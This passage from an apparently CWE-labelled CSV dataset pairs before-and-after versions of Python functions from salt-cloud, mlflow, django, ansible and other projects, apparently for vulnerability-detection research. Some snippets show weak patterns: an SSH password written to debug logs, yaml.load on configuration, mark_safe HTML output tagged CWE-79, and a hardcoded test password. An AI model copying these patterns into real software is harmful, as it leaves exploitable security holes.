                  display_ssh_output=True, preseed_minion_keys=None):
    '''
    Copy a deploy script to a remote server, execute it, and remove it
    '''
    if key_filename is not None and not os.path.isfile(key_filename):
        raise SaltCloudConfigError(
            'The defined key_filename {0!r} does not exist'.format(
                key_filename
            )
        )
    starttime = time.mktime(time.localtime())
    log.debug('Deploying {0} at {1}'.format(host, starttime))
    if wait_for_ssh(host=host, port=port, timeout=timeout):
        log.debug('SSH port {0} on {1} is available'.format(port, host))
        newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
        if wait_for_passwd(host, port=port, username=username,
                           password=password, key_filename=key_filename,
                           ssh_timeout=ssh_timeout,
                           display_ssh_output=display_ssh_output):
            log.debug(
                'Logging into {0}:{1} as {2}'.format(
                    host, port, username
                )
            )
            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            kwargs = {'hostname': host,
                      'port': port,
                      'username': username,
                      'timeout': ssh_timeout,
                      'display_ssh_output': display_ssh_output}
            if key_filename:
                log.debug('Using {0} as the key_filename'.format(key_filename))
                kwargs['key_filename'] = key_filename
            elif password:
                log.debug('Using {0} as the password'.format(password))
                kwargs['password'] = password

            #FIXME: this try-except doesn't make sense! Something is missing...
            try:
                log.debug('SSH connection to {0} successful'.format(host))
            except Exception as exc:
                log.error(
                    'There was an error in deploy_script: {0}'.format(exc)
                )

            if provider == 'ibmsce':
                subsys_command = (
                    'sed -i ""s/#Subsystem/Subsystem/"" '
                    '/etc/ssh/sshd_config'
                )
                root_cmd(subsys_command, tty, sudo, **kwargs)
                root_cmd('service sshd restart', tty, sudo, **kwargs)

            # Minion configuration
            if minion_pem:
                scp_file('/tmp/minion.pem', minion_pem, kwargs)
                root_cmd('chmod 600 /tmp/minion.pem', tty, sudo, **kwargs)

            if minion_pub:
                scp_file('/tmp/minion.pub', minion_pub, kwargs)

            if minion_conf:
                if not isinstance(minion_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `minion_conf` parameter. '
                        'Loading YAML...'
                    )
                    minion_conf = yaml.load(minion_conf)
                minion_grains = minion_conf.pop('grains', {})
                if minion_grains:
                    scp_file(
                        '/tmp/grains',
                        salt_config_to_yaml(minion_conf),
                        kwargs
                    )
                scp_file(
                    '/tmp/minion',
                    salt_config_to_yaml(minion_conf),
                    kwargs
                )

            # Master configuration
            if master_pem:
                scp_file('/tmp/master.pem', master_pem, kwargs)
                root_cmd('chmod 600 /tmp/master.pem', tty, sudo, **kwargs)

            if master_pub:
                scp_file('/tmp/master.pub', master_pub, kwargs)

            if master_conf:
                if not isinstance(master_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `master_conf` parameter. '
                        'Loading from YAML ...'
                    )
                    master_conf = yaml.load(master_conf)

                scp_file(
                    '/tmp/master',
                    salt_config_to_yaml(master_conf),
                    kwargs
                )

            # XXX: We need to make these paths configurable
            preseed_minion_keys_tempdir = '/tmp/preseed-minion-keys'
            if preseed_minion_keys is not None:
                # Create remote temp dir
                root_cmd(
                    'mkdir ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                root_cmd(
                    'chmod 700 ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown {0} ""{1}""'.format(
                            kwargs['username'], preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

                # Copy pre-seed minion keys
                for minion_id, minion_key in preseed_minion_keys.iteritems():
                    rpath = os.path.join(
                        preseed_minion_keys_tempdir, minion_id
                    )
                    scp_file(rpath, minion_key, kwargs)

                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown -R root ""{0}""'.format(
                            preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

            # The actual deploy script
            if script:
                scp_file('/tmp/deploy.sh', script, kwargs)
                root_cmd('chmod +x /tmp/deploy.sh', tty, sudo, **kwargs)

            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            queue = None
            process = None
            # Consider this code experimental. It causes Salt Cloud to wait
            # for the minion to check in, and then fire a startup event.
            if start_action:
                queue = multiprocessing.Queue()
                process = multiprocessing.Process(
                    target=check_auth, kwargs=dict(
                        name=name, pub_key=pub_key, sock_dir=sock_dir,
                        timeout=newtimeout, queue=queue
                    )
                )
                log.debug('Starting new process to wait for salt-minion')
                process.start()

            # Run the deploy script
            if script:
                if 'bootstrap-salt' in script:
                    deploy_command += ' -c /tmp/'
                    if make_syndic is True:
                        deploy_command += ' -S'
                    if make_master is True:
                        deploy_command += ' -M'
                    if make_minion is False:
                        deploy_command += ' -N'
                    if preseed_minion_keys is not None:
                        deploy_command += ' -k {0}'.format(
                            preseed_minion_keys_tempdir
                        )
                if script_args:
                    deploy_command += ' {0}'.format(script_args)

                if keep_tmp:
                    # Pass the proper environment variable to the bootstrap
                    # script to keep temporary files around
                    if not script_env:
                        script_env = {'BS_KEEP_TEMP_FILES': '1'}
                    else:
                        script_env['BS_KEEP_TEMP_FILES'] = '1'

                if script_env:
                    if not isinstance(script_env, dict):
                        raise SaltCloudSystemExit(
                            'The \'script_env\' configuration setting NEEDS '
                            'to be a dictionary not a {0}'.format(
                                type(script_env)
                            )
                        )
                    environ_script_contents = ['#!/bin/sh']
                    for key, value in script_env.iteritems():
                        environ_script_contents.append(
                            'setenv {0} \'{1}\' >/dev/null 2>&1 || '
                            'export {0}=\'{1}\''.format(key, value)
                        )
                    environ_script_contents.append(deploy_command)

                    # Upload our environ setter wrapper
                    scp_file(
                        '/tmp/environ-deploy-wrapper.sh',
                        '\n'.join(environ_script_contents),
                        kwargs
                    )
                    root_cmd(
                        'chmod +x /tmp/environ-deploy-wrapper.sh',
                        tty, sudo, **kwargs
                    )
                    # The deploy command is now our wrapper
                    deploy_command = '/tmp/environ-deploy-wrapper.sh'

                if root_cmd(deploy_command, tty, sudo, **kwargs) != 0:
                    raise SaltCloudSystemExit(
                        'Executing the command {0!r} failed'.format(
                            deploy_command
                        )
                    )
                log.debug('Executed command {0!r}'.format(deploy_command))

                # Remove the deploy script
                if not keep_tmp:
                    root_cmd('rm /tmp/deploy.sh', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/deploy.sh')
                    if script_env:
                        root_cmd(
                            'rm /tmp/environ-deploy-wrapper.sh',
                            tty, sudo, **kwargs
                        )
                        log.debug('Removed /tmp/environ-deploy-wrapper.sh')

            if keep_tmp:
                log.debug('Not removing deployment files from /tmp/')

            # Remove minion configuration
            if not keep_tmp:
                if minion_pub:
                    root_cmd('rm /tmp/minion.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pub')
                if minion_pem:
                    root_cmd('rm /tmp/minion.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pem')
                if minion_conf:
                    root_cmd('rm /tmp/grains', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/grains')
                    root_cmd('rm /tmp/minion', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion')

                # Remove master configuration
                if master_pub:
                    root_cmd('rm /tmp/master.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pub')
                if master_pem:
                    root_cmd('rm /tmp/master.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pem')
                if master_conf:
                    root_cmd('rm /tmp/master', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master')

                # Remove pre-seed keys directory
                if preseed_minion_keys is not None:
                    root_cmd(
                        'rm -rf {0}'.format(
                            preseed_minion_keys_tempdir
                        ), tty, sudo, **kwargs
                    )
                    log.debug(
                        'Removed {0}'.format(preseed_minion_keys_tempdir)
                    )

            if start_action:
                queuereturn = queue.get()
                process.join()
                if queuereturn and start_action:
                    #client = salt.client.LocalClient(conf_file)
                    #output = client.cmd_iter(
                    #    host, 'state.highstate', timeout=timeout
                    #)
                    #for line in output:
                    #    print(line)
                    log.info(
                        'Executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
                    root_cmd(
                        'salt-call {0}'.format(start_action),
                        tty, sudo, **kwargs
                    )
                    log.info(
                        'Finished executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
            #Fire deploy action
            event = salt.utils.event.SaltEvent(
                'master',
                sock_dir
            )
            event.fire_event(
                '{0} has been created at {1}'.format(name, host), 'salt-cloud'
            )
            return True
    return False"
,UNKNOWN,UNKNOWN,tests/transformers/test_transformers_llm_inference_utils.py,1,"def test_preprocess_llm_inference_params():
    data = pd.DataFrame(
        {
            ""prompt"": [""Hello world!""],
            ""temperature"": [0.7],
            ""max_tokens"": [100],
            # do not pass this to params as it is None
            ""stop"": None,
        }
    )

    data, params = preprocess_llm_inference_params(data, flavor_config=None)

    # Test that OpenAI params are separated from data and replaced with Hugging Face params
    assert data == [""Hello world!""]
    assert params == {""max_new_tokens"": 100, ""temperature"": 0.7}",CWE-703,mlflow/mlflow,e7c7b383a336e11704b25bf011ccd264a5a98df2,"def test_preprocess_llm_inference_params():
    data = pd.DataFrame(
        {
            ""prompt"": [""Hello world!""],
            ""temperature"": [0.7],
            ""max_tokens"": [100],
        }
    )

    data, params = preprocess_llm_inference_params(data, flavor_config=None)

    # Test that OpenAI params are separated from data and replaced with Hugging Face params
    assert data == [""Hello world!""]
    assert params == {""max_new_tokens"": 100, ""temperature"": 0.7}"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/manager.py,0,"def run_scope(self, scope):
        if scope:
            self.scope = scope
            sys.stdout.write(""%s ["" % len(scope))
            for i, fname in enumerate(scope):
                self.logger.debug(""working on file : %s"" % fname)
                if i % self.progress == 0:
                    sys.stdout.write(""%s.. "" % i)
                    sys.stdout.flush()
                try:
                    with open(fname, 'rU') as fdata:
                        try:
                            self._execute_ast_visitor(fname, fdata, self.b_ma, self.b_rs, self.b_ts)
                        except KeyboardInterrupt as e:
                            sys.exit(2)
                except IOError as e:
                    self.logger.error(""%s"" % e.strerror)
                    self.b_rs.skip(fname, e.strerror)
            sys.stdout.write(""]\n"")
            sys.stdout.flush()
        else:
            self.logger.info(""no filename/s provided, working from stdin"")
            try:
                self._execute_ast_visitor('STDIN', sys.stdin, self.b_ma, self.b_rs)
            except KeyboardInterrupt:
                self.logger.debug(""exiting"")
                sys.exit(1)",UNKNOWN,PyCQA/bandit,f66a373416118ded465df7a0d03a711f2c3fedb3,"def run_scope(self, scope):
        if scope:
            self.scope = scope
            sys.stdout.write(""%s ["" % len(scope))
            for i, fname in enumerate(scope):
                self.logger.debug(""working on file : %s"" % fname)
                if i % self.progress == 0:
                    sys.stdout.write(""%s.. "" % i)
                    sys.stdout.flush()
                try:
                    with open(fname, 'rU') as fdata:
                        try:
                            self._execute_ast_visitor(fname, fdata, self.b_ma, self.b_rs, self.b_ts)
                        except KeyboardInterrupt as e:
                            sys.exit(2)
                except IOError as e:
                    self.logger.error(""%s"" % e.strerror)
                    b_rs.skip(fname, e.strerror)
            sys.stdout.write(""]\n"")
            sys.stdout.flush()
        else:
            self.logger.info(""no filename/s provided, working from stdin"")
            try:
                self._execute_ast_visitor('STDIN', sys.stdin, self.b_ma, self.b_rs)
            except KeyboardInterrupt:
                self.logger.debug(""exiting"")
                sys.exit(1)"
,UNKNOWN,UNKNOWN,django/contrib/admin/templatetags/admin_list.py,1,"def items_for_result(cl, result, form):
    """"""
    Generate the actual list of data.
    """"""

    def link_in_col(is_first, field_name, cl):
        if cl.list_display_links is None:
            return False
        if is_first and not cl.list_display_links:
            return True
        return field_name in cl.list_display_links

    first = True
    pk = cl.lookup_opts.pk.attname
    for field_index, field_name in enumerate(cl.list_display):
        empty_value_display = cl.model_admin.get_empty_value_display()
        row_classes = ['field-%s' % _coerce_field_name(field_name, field_index)]
        try:
            f, attr, value = lookup_field(field_name, result, cl.model_admin)
        except ObjectDoesNotExist:
            result_repr = empty_value_display
        else:
            empty_value_display = getattr(attr, 'empty_value_display', empty_value_display)
            if f is None or f.auto_created:
                if field_name == 'action_checkbox':
                    row_classes = ['action-checkbox']
                boolean = getattr(attr, 'boolean', False)
                result_repr = display_for_value(value, empty_value_display, boolean)
                if isinstance(value, (datetime.date, datetime.time)):
                    row_classes.append('nowrap')
            else:
                if isinstance(f.remote_field, models.ManyToOneRel):
                    field_val = getattr(result, f.name)
                    if field_val is None:
                        result_repr = empty_value_display
                    else:
                        result_repr = field_val
                else:
                    result_repr = display_for_field(value, f, empty_value_display)
                if isinstance(f, (models.DateField, models.TimeField, models.ForeignKey)):
                    row_classes.append('nowrap')
        row_class = mark_safe(' class=""%s""' % ' '.join(row_classes))
        # If list_display_links not defined, add the link tag to the first field
        if link_in_col(first, field_name, cl):
            table_tag = 'th' if first else 'td'
            first = False

            # Display link to the result's change_view if the url exists, else
            # display just the result's representation.
            try:
                url = cl.url_for_result(result)
            except NoReverseMatch:
                link_or_text = result_repr
            else:
                url = add_preserved_filters({'preserved_filters': cl.preserved_filters, 'opts': cl.opts}, url)
                # Convert the pk to something that can be used in JavaScript.
                # Problem cases are non-ASCII strings.
                if cl.to_field:
                    attr = str(cl.to_field)
                else:
                    attr = pk
                value = result.serializable_value(attr)
                link_or_text = format_html(
                    '<a href=""{}""{}>{}</a>',
                    url,
                    format_html(
                        ' data-popup-opener=""{}""', value
                    ) if cl.is_popup else '',
                    result_repr)

            yield format_html('<{}{}>{}</{}>', table_tag, row_class, link_or_text, table_tag)
        else:
            # By default the fields come from ModelAdmin.list_editable, but if we pull
            # the fields out of the form instead of list_editable custom admins
            # can provide fields on a per request basis
            if (form and field_name in form.fields and not (
                    field_name == cl.model._meta.pk.name and
                    form[cl.model._meta.pk.name].is_hidden)):
                bf = form[field_name]
                result_repr = mark_safe(str(bf.errors) + str(bf))
            yield format_html('<td{}>{}</td>', row_class, result_repr)
    if form and not form[cl.model._meta.pk.name].is_hidden:
        yield format_html('<td>{}</td>', form[cl.model._meta.pk.name])",CWE-79,django/django,2161db0792f2e4d3deef3e09cd72f7a08340cafe,"def items_for_result(cl, result, form):
    """"""
    Generate the actual list of data.
    """"""

    def link_in_col(is_first, field_name, cl):
        if cl.list_display_links is None:
            return False
        if is_first and not cl.list_display_links:
            return True
        return field_name in cl.list_display_links

    first = True
    pk = cl.lookup_opts.pk.attname
    for field_index, field_name in enumerate(cl.list_display):
        empty_value_display = cl.model_admin.get_empty_value_display()
        row_classes = ['field-%s' % _coerce_field_name(field_name, field_index)]
        try:
            f, attr, value = lookup_field(field_name, result, cl.model_admin)
        except ObjectDoesNotExist:
            result_repr = empty_value_display
        else:
            empty_value_display = getattr(attr, 'empty_value_display', empty_value_display)
            if f is None or f.auto_created:
                if field_name == 'action_checkbox':
                    row_classes = ['action-checkbox']
                boolean = getattr(attr, 'boolean', False)
                result_repr = display_for_value(value, empty_value_display, boolean)
                if isinstance(value, (datetime.date, datetime.time)):
                    row_classes.append('nowrap')
            else:
                if isinstance(f.remote_field, models.ManyToOneRel):
                    field_val = getattr(result, f.name)
                    if field_val is None:
                        result_repr = empty_value_display
                    else:
                        result_repr = field_val
                else:
                    result_repr = display_for_field(value, f, empty_value_display)
                if isinstance(f, (models.DateField, models.TimeField, models.ForeignKey)):
                    row_classes.append('nowrap')
        row_class = mark_safe(' class=""%s""' % ' '.join(row_classes))
        # If list_display_links not defined, add the link tag to the first field
        if link_in_col(first, field_name, cl):
            table_tag = 'th' if first else 'td'
            first = False

            # Display link to the result's change_view if the url exists, else
            # display just the result's representation.
            try:
                url = cl.url_for_result(result)
            except NoReverseMatch:
                link_or_text = result_repr
            else:
                url = add_preserved_filters({'preserved_filters': cl.preserved_filters, 'opts': cl.opts}, url)
                # Convert the pk to something that can be used in Javascript.
                # Problem cases are non-ASCII strings.
                if cl.to_field:
                    attr = str(cl.to_field)
                else:
                    attr = pk
                value = result.serializable_value(attr)
                link_or_text = format_html(
                    '<a href=""{}""{}>{}</a>',
                    url,
                    format_html(
                        ' data-popup-opener=""{}""', value
                    ) if cl.is_popup else '',
                    result_repr)

            yield format_html('<{}{}>{}</{}>', table_tag, row_class, link_or_text, table_tag)
        else:
            # By default the fields come from ModelAdmin.list_editable, but if we pull
            # the fields out of the form instead of list_editable custom admins
            # can provide fields on a per request basis
            if (form and field_name in form.fields and not (
                    field_name == cl.model._meta.pk.name and
                    form[cl.model._meta.pk.name].is_hidden)):
                bf = form[field_name]
                result_repr = mark_safe(str(bf.errors) + str(bf))
            yield format_html('<td{}>{}</td>', row_class, result_repr)
    if form and not form[cl.model._meta.pk.name].is_hidden:
        yield format_html('<td>{}</td>', form[cl.model._meta.pk.name])"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/data/huggingface_dataset.py,0,"def __init__(
        self,
        ds: datasets.Dataset,
        source: HuggingFaceDatasetSource,
        targets: Optional[str] = None,
        name: Optional[str] = None,
        digest: Optional[str] = None,
    ):
        """"""
        :param ds: A Hugging Face dataset. Must be an instance of `datasets.Dataset`.
                   Other types, such as :py:class:`datasets.DatasetDict`, are not supported.
        :param source: The source of the Hugging Face dataset.
        :param name: The name of the dataset. E.g. ""wiki_train"". If unspecified, a name is
                     automatically generated.
        :param digest: The digest (hash, fingerprint) of the dataset. If unspecified, a digest
                       is automatically computed.
        """"""
        if targets is not None and targets not in ds.column_names:
            raise MlflowException(
                f""The specified Hugging Face dataset does not contain the specified targets column""
                f"" '{targets}'."",
                INVALID_PARAMETER_VALUE,
            )

        self._ds = ds
        self._targets = targets
        super().__init__(source=source, name=name, digest=digest)",,mlflow/mlflow,cc3a2dbd98dc843061d7f247f3bb95b8c8f5e649,"def __init__(
        self,
        ds: datasets.Dataset,
        source: HuggingFaceDatasetSource,
        targets: Optional[str] = None,
        name: Optional[str] = None,
        digest: Optional[str] = None,
    ):
        """"""
        :param ds: A Hugging Face dataset. Must be an instance of `datasets.Dataset`.
                   Other types, such as `datasets.DatasetDict`, are not supported.
        :param source: The source of the Hugging Face dataset.
        :param name: The name of the dataset. E.g. ""wiki_train"". If unspecified, a name is
                     automatically generated.
        :param digest: The digest (hash, fingerprint) of the dataset. If unspecified, a digest
                       is automatically computed.
        """"""
        if targets is not None and targets not in ds.column_names:
            raise MlflowException(
                f""The specified Hugging Face dataset does not contain the specified targets column""
                f"" '{targets}'."",
                INVALID_PARAMETER_VALUE,
            )

        self._ds = ds
        self._targets = targets
        super().__init__(source=source, name=name, digest=digest)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/helper_functions.py,0,"def start_mock_openai_server():
    """"""
    Start a fake service that mimics the OpenAI endpoints such as /chat/completions.

    Yields:
        The base URL of the mock OpenAI server.
    """"""
    port = get_safe_port()
    with subprocess.Popen(
        [
            sys.executable,
            ""-m"",
            ""uvicorn"",
            ""tests.openai.mock_openai:app"",
            ""--host"",
            ""localhost"",
            ""--port"",
            str(port),
        ]
    ) as proc:
        try:
            base_url = f""http://localhost:{port}""
            for _ in range(10):
                try:
                    resp = requests.get(f""{base_url}/health"")
                except requests.ConnectionError:
                    time.sleep(2)
                    continue
                if resp.ok:
                    break
            else:
                proc.kill()
                proc.wait()
                raise RuntimeError(""Failed to start mock OpenAI server"")

            yield base_url
        finally:
            proc.kill()",,mlflow/mlflow,1effffdee0e635c5dfa55ab16422496590545e2e,"def start_mock_openai_server():
    """"""
    Start a fake service that mimics the OpenAI endpoints such as /chat/completions.

    Yields:
        The base URL of the mock OpenAI server.
    """"""
    port = get_safe_port()
    with subprocess.Popen(
        [
            sys.executable,
            ""-m"",
            ""uvicorn"",
            ""tests.openai.mock_openai:app"",
            ""--host"",
            ""localhost"",
            ""--port"",
            str(port),
        ]
    ) as proc:
        try:
            base_url = f""http://localhost:{port}""
            for _ in range(3):
                try:
                    resp = requests.get(f""{base_url}/health"")
                except requests.ConnectionError:
                    time.sleep(1)
                    continue
                if resp.ok:
                    break
            else:
                raise RuntimeError(""Failed to start mock OpenAI server"")

            yield base_url
        finally:
            proc.kill()"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/kernels/kernelmanager.py,0,"def shutdown_kernel(self, kernel_id, now=False, restart=False):
        """"""Shutdown a kernel by kernel_id""""""
        self._check_kernel_id(kernel_id)
        kernel = self._kernels[kernel_id]
        if kernel._activity_stream:
            kernel._activity_stream.close()
            kernel._activity_stream = None
        self.stop_buffering(kernel_id)

        # Decrease the metric of number of kernels
        # running for the relevant kernel type by 1
        KERNEL_CURRENTLY_RUNNING_TOTAL.labels(
            type=self._kernels[kernel_id].kernel_name
        ).dec()

        self.pinned_superclass.shutdown_kernel(self, kernel_id, now=now, restart=restart)
        # Unlike its async sibling method in AsyncMappingKernelManager, removing the kernel_id
        # from the connections dictionary isn't as problematic before the shutdown since the
        # method is synchronous.  However, we'll keep the relative call orders the same from
        # a maintenance perspective.
        self._kernel_connections.pop(kernel_id, None)",,jupyter/notebook,63450082eaa46059c206fb9a439b88ca349200a3,"def shutdown_kernel(self, kernel_id, now=False, restart=False):
        """"""Shutdown a kernel by kernel_id""""""
        self._check_kernel_id(kernel_id)
        kernel = self._kernels[kernel_id]
        if kernel._activity_stream:
            kernel._activity_stream.close()
            kernel._activity_stream = None
        self.stop_buffering(kernel_id)
        self._kernel_connections.pop(kernel_id, None)

        # Decrease the metric of number of kernels
        # running for the relevant kernel type by 1
        KERNEL_CURRENTLY_RUNNING_TOTAL.labels(
            type=self._kernels[kernel_id].kernel_name
        ).dec()

        return self.pinned_superclass.shutdown_kernel(self, kernel_id, now=now, restart=restart)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/inventory/host.py,0,"def get_variables(self):

        results = {}
        groups = self.get_groups()
        for group in sorted(groups, key=lambda g: g.depth):
            results.update(group.get_variables())
        results.update(self.vars)
        results['inventory_hostname'] = self.name
        results['inventory_hostname_short'] = self.name.split('.')[0]
        results['group_names'] = sorted([ g.name for g in groups if g.name != 'all'])
        return results",,ansible/ansible,bd7e02d629eac2770eb7bf781ce50c9e6f1280f2,"def get_variables(self):

        results = {}
        for group in self.groups:
            results.update(group.get_variables())
        results.update(self.vars)
        results['inventory_hostname'] = self.name
        results['inventory_hostname_short'] = self.name.split('.')[0]
        groups = self.get_groups()
        results['group_names'] = sorted([ g.name for g in groups if g.name != 'all'])
        return results"
,UNKNOWN,UNKNOWN,test/units/modules/network/f5/test_bigip_snat_pool.py,1,"def test_create_snat_pool(self, *args):
        set_module_args(dict(
            name='my-snat-pool',
            state='present',
            members=['10.10.10.10', '20.20.20.20'],
            password='password',
            server='localhost',
            user='admin'
        ))

        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )
        mm = ModuleManager(module=module)

        # Override methods to force specific logic in the module to happen
        mm.exists = Mock(side_effect=[False, True])
        mm.create_on_device = Mock(return_value=True)

        results = mm.exec_module()

        assert results['changed'] is True
        assert len(results['members']) == 2
        assert '/Common/10.10.10.10' in results['members']
        assert '/Common/20.20.20.20' in results['members']","CWE-259, CWE-703",ansible/ansible,49f34fec13c31a20681129537ea39109554378a7,"def test_create_snat_pool(self, *args):
        set_module_args(dict(
            name='my-snat-pool',
            state='present',
            members=['10.10.10.10', '20.20.20.20'],
            password='passsword',
            server='localhost',
            user='admin'
        ))

        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )
        mm = ModuleManager(module=module)

        # Override methods to force specific logic in the module to happen
        mm.exists = Mock(side_effect=[False, True])
        mm.create_on_device = Mock(return_value=True)

        results = mm.exec_module()

        assert results['changed'] is True
        assert len(results['members']) == 2
        assert '/Common/10.10.10.10' in results['members']
        assert '/Common/20.20.20.20' in results['members']"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pytorch/__init__.py,0,"def save_model(pytorch_model, path, conda_env=None, mlflow_model=Model(), code_paths=None,
               pickle_module=None, **kwargs):
    """"""
    Save a PyTorch model to a path on the local file system.

    :param pytorch_model: PyTorch model to be saved. Must accept a single ``torch.FloatTensor`` as
                          input and produce a single output tensor. Any code dependencies of the
                          model's class, including the class definition itself, should be
                          included in one of the following locations:

                          - The package(s) listed in the model's Conda environment, specified
                            by the ``conda_env`` parameter.
                          - One or more of the files specified by the ``code_paths`` parameter.

    :param path: Local path where the model is to be saved.
    :param conda_env: Either a dictionary representation of a Conda environment or the path to a
                      Conda environment yaml file. If provided, this decsribes the environment
                      this model should be run in. At minimum, it should specify the dependencies
                      contained in :func:`get_default_conda_env()`. If ``None``, the default
                      :func:`get_default_conda_env()` environment is added to the model. The
                      following is an *example* dictionary representation of a Conda environment::

                        {
                            'name': 'mlflow-env',
                            'channels': ['defaults'],
                            'dependencies': [
                                'python=3.7.0',
                                'pytorch=0.4.1',
                                'torchvision=0.2.1'
                            ]
                        }

    :param mlflow_model: :py:mod:`mlflow.models.Model` this flavor is being added to.
    :param code_paths: A list of local filesystem paths to Python file dependencies (or directories
                       containing file dependencies). These files are *prepended* to the system
                       path when the model is loaded.
    :param pickle_module: The module that PyTorch should use to serialize (""pickle"") the specified
                          ``pytorch_model``. This is passed as the ``pickle_module`` parameter
                          to ``torch.save()``. By default, this module is also used to
                          deserialize (""unpickle"") the PyTorch model at load time.
    :param kwargs: kwargs to pass to ``torch.save`` method.

    >>> import torch
    >>> import mlflow
    >>> import mlflow.pytorch
    >>> # create model and set values
    >>> pytorch_model = Model()
    >>> pytorch_model_path = ...
    >>> #train our model
    >>> for epoch in range(500):
    >>>     y_pred = model(x_data)
    >>>     ...
    >>> #save the model
    >>> with mlflow.start_run() as run:
    >>>   mlflow.log_param(""epochs"", 500)
    >>>   mlflow.pytorch.save_model(pytorch_model, pytorch_model_path)
    """"""
    import torch
    pickle_module = pickle_module or mlflow_pytorch_pickle_module

    if not isinstance(pytorch_model, torch.nn.Module):
        raise TypeError(""Argument 'pytorch_model' should be a torch.nn.Module"")
    if code_paths is not None:
        if not isinstance(code_paths, list):
            raise TypeError('Argument code_paths should be a list, not {}'.format(type(code_paths)))
    path = os.path.abspath(path)
    if os.path.exists(path):
        raise RuntimeError(""Path '{}' already exists"".format(path))
    os.makedirs(path)

    model_data_subpath = ""data""
    model_data_path = os.path.join(path, model_data_subpath)
    os.makedirs(model_data_path)
    # Persist the pickle module name as a file in the model's `data` directory. This is necessary
    # because the `data` directory is the only available parameter to `_load_pyfunc`, and it
    # does not contain the MLmodel configuration; therefore, it is not sufficient to place
    # the module name in the MLmodel
    #
    # TODO: Stop persisting this information to the filesystem once we have a mechanism for
    # supplying the MLmodel configuration to `mlflow.pytorch._load_pyfunc`
    pickle_module_path = os.path.join(model_data_path, _PICKLE_MODULE_INFO_FILE_NAME)
    with open(pickle_module_path, ""w"") as f:
        f.write(pickle_module.__name__)
    # Save pytorch model
    model_path = os.path.join(model_data_path, _SERIALIZED_TORCH_MODEL_FILE_NAME)
    torch.save(pytorch_model, model_path, pickle_module=pickle_module, **kwargs)

    conda_env_subpath = ""conda.yaml""
    if conda_env is None:
        conda_env = get_default_conda_env()
    elif not isinstance(conda_env, dict):
        with open(conda_env, ""r"") as f:
            conda_env = yaml.safe_load(f)
    with open(os.path.join(path, conda_env_subpath), ""w"") as f:
        yaml.safe_dump(conda_env, stream=f, default_flow_style=False)

    if code_paths is not None:
        code_dir_subpath = ""code""
        for code_path in code_paths:
            _copy_file_or_tree(src=code_path, dst=path, dst_dir=code_dir_subpath)
    else:
        code_dir_subpath = None

    mlflow_model.add_flavor(
        FLAVOR_NAME, model_data=model_data_subpath, pytorch_version=torch.__version__)
    pyfunc.add_to_model(mlflow_model, loader_module=""mlflow.pytorch"", data=model_data_subpath,
                        pickle_module_name=pickle_module.__name__, code=code_dir_subpath,
                        env=conda_env_subpath)
    mlflow_model.save(os.path.join(path, ""MLmodel""))",,mlflow/mlflow,1a762d56564f5f708bd7f9cbc5a48530fb354ae3,"def save_model(pytorch_model, path, conda_env=None, mlflow_model=Model(), code_paths=None,
               pickle_module=None, **kwargs):
    """"""
    Save a PyTorch model to a path on the local file system.

    :param pytorch_model: PyTorch model to be saved. Must accept a single ``torch.FloatTensor`` as
                          input and produce a single output tensor. Any code dependencies of the
                          model's class, including the class definition itself, should be
                          included in one of the following locations:

                          - The package(s) listed in the model's Conda environment, specified
                            by the ``conda_env`` parameter.
                          - One or more of the files specified by the ``code_paths`` parameter.

    :param path: Local path where the model is to be saved.
    :param conda_env: Either a dictionary representation of a Conda environment or the path to a
                      Conda environment yaml file. If provided, this decsribes the environment
                      this model should be run in. At minimum, it should specify the dependencies
                      contained in :func:`get_default_conda_env()`. If ``None``, the default
                      :func:`get_default_conda_env()` environment is added to the model. The
                      following is an *example* dictionary representation of a Conda environment::

                        {
                            'name': 'mlflow-env',
                            'channels': ['defaults'],
                            'dependencies': [
                                'python=3.7.0',
                                'pytorch=0.4.1',
                                'torchvision=0.2.1'
                            ]
                        }

    :param mlflow_model: :py:mod:`mlflow.models.Model` this flavor is being added to.
    :param code_paths: A list of local filesystem paths to Python file dependencies (or directories
                       containing file dependencies). These files are *prepended* to the system
                       path when the model is loaded.
    :param pickle_module: The module that PyTorch should use to serialize (""pickle"") the specified
                          ``pytorch_model``. This is passed as the ``pickle_module`` parameter
                          to ``torch.save()``. By default, this module is also used to
                          deserialize (""unpickle"") the PyTorch model at load time.
    :param kwargs: kwargs to pass to ``torch.save`` method.

    >>> import torch
    >>> import mlflow
    >>> import mlflow.pytorch
    >>> # create model and set values
    >>> pytorch_model = Model()
    >>> pytorch_model_path = ...
    >>> #train our model
    >>> for epoch in range(500):
